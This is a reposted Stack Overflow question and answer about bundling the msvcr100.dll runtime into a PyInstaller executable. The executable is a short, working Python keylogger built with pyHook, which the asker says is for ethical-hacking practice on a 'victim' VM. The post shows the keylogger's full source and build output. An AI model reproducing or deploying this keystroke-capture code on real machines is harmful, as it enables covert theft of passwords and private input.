gpt4 book ai didi

python - Pyinstaller 创建的 exe 在一台机器上运行,但在另一台机器上出错

转载 作者:可可西里 更新时间:2023-11-01 09:28:10 24 4
gpt4 key购买 nike

主机操作系统:Windows 10,64 位

Python:2.7 版,32 位

对于道德黑客,我正在关注视频,Ethical Hacking Python Keylogger

我根据视频创建了代码,

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

然后我使用 Pyinstaller 转换为 .exe,即

pyinstaller --debug --onefile --noupx keylogger.pyw

并且 .exe 在我的电脑上运行,即 Windows 10,64 位。

但是,当我在 32 位 Windows XP(vmware 上的虚拟机)上执行时,出现错误

此应用程序未能启动,因为未找到 msvcr100.dll。重新安装应用程序可能会解决此问题

再次声明,代码是为了在我的个人网络上进行道德黑客练习。在 Windows XP(“受害者”机器)上安装 msvcr100.dll 不是一种选择。

  1. 如何使用 pyinstaller 捆绑 msvcr100.dll

  2. 如何使用 pyinstaller 捆绑所有可能的 dll 等

谢谢

更新

我试过包含所有 Windows DLL 的目录,但它不起作用,即巨大的错误消息

pyinstaller --debug --onefile --noupx C:\Windows\System32\*.dll keylogger.pyw

更新

这是调试输出。它查找 msvcp90.dll,但不查找 `msvcr100.dll

如何修复?

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
116 INFO: PyInstaller: 3.2
116 INFO: Python: 2.7.12
116 INFO: Platform: Windows-10-10.0.10586
116 INFO: wrote c:\Python27\Malware\keylogger.spec
131 INFO: UPX is not available.
131 INFO: Extending PYTHONPATH with paths
['c:\\Python27\\Malware', 'c:\\Python27\\Malware']
131 INFO: checking Analysis
131 INFO: Building Analysis because out00-Analysis.toc is non existent
131 INFO: Initializing module dependency graph...
148 INFO: Initializing module graph hooks...
185 INFO: running Analysis out00-Analysis.toc
185 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
required by c:\python27\python.exe
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
301 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
386 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9177_none ...
386 INFO: Found manifest C:\WINDOWS\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9.manifest
402 INFO: Searching for file msvcr90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcr90.dll
402 INFO: Searching for file msvcp90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcp90.dll
402 INFO: Searching for file msvcm90.dll
417 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcm90.dll
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
517 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
5078 INFO: Caching module hooks...
5085 INFO: Analyzing c:\Python27\Malware\keylogger.pyw
6157 INFO: Loading module hooks...
6157 INFO: Loading module hook "hook-pywintypes.py"...
6331 INFO: Loading module hook "hook-encodings.py"...
6715 INFO: Loading module hook "hook-pythoncom.py"...
6907 INFO: Looking for ctypes DLLs
6907 INFO: Analyzing run-time hooks ...
6907 INFO: Looking for dynamic libraries
16654 WARNING: Attempted to add Python module twice with different upper/lowercases: pyHook._cpyHook
16657 INFO: Looking for eggs
16657 INFO: Using Python library C:\WINDOWS\system32\python27.dll
16662 INFO: Found binding redirects:
[BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 9177), publicKeyToken=u'1fc8b3b9a1e18e3b')]
16667 INFO: Warnings written to c:\Python27\Malware\build\keylogger\warnkeylogger.txt
16713 INFO: checking PYZ
16713 INFO: Building PYZ because out00-PYZ.toc is non existent
16729 INFO: Building PYZ (ZlibArchive) c:\Python27\Malware\build\keylogger\out00-PYZ.pyz
17083 INFO: checking PKG
17084 INFO: Building PKG because out00-PKG.toc is non existent
17085 INFO: Building PKG (CArchive) out00-PKG.pkg
17113 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
18460 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run_d.exe
18463 INFO: checking EXE
18465 INFO: Building EXE because out00-EXE.toc is non existent
18470 INFO: Building EXE from out00-EXE.toc
18470 INFO: Appending archive to EXE c:\Python27\Malware\dist\keylogger.exe

最佳答案

您不必安装运行该程序所需的 dll。但是,它们必须可用。这可以通过将它们包含在 .exe 文件所在的当前工作目录中来实现。

附加信息:此处缺少的 DLL 是 Microsoft 的 Visual C++ Redistributable runtime library 的一部分。它们提供了一组支持编译程序运行的可执行函数。它们被称为“可再分发”的原因是编写程序的开发人员无需支付许可费即可将它们包含在他们的程序中。现在让它们存在于您的程序中的简单方法是将 dll 库的安装程序包含在您的程序中,这样您就不必弄清楚哪些 DLL 是必需的,哪些不需要。这也意味着在系统上使用并需要其中一个 DLL 的任何其他人的程序都将全部准备就绪。它也可能将库作为其自身安装的一部分安装在先前安装的顶部(如果它正在进行正式安装),但系统上将只有一组具有这些名称的 DLL。

所以,如果知道所有这些你仍然不想安装库,你唯一的选择就是弄清楚你的程序需要哪些 DLL,一个一个地复制它们,因为错误消息会告诉你哪个 DLL 是下一个它不见了。将所需的 DLL 放在程序的工作目录中是将它们与程序捆绑在一起的另一种方式。可能是两个,也可能是一百个。当然,您可能只是将整个库复制到您的工作目录中,但在这种情况下,您也可能只是在系统上安装了该库。这是一个问题,您对特定的捆绑方式下了多大的决心。

如果您选择更简单的路线(我认为您需要的是 2010 年版),以下是下载页面:

https://support.microsoft.com/en-us/kb/2977003

关于python - Pyinstaller 创建的 exe 在一台机器上运行,但在另一台机器上出错,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38190861/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com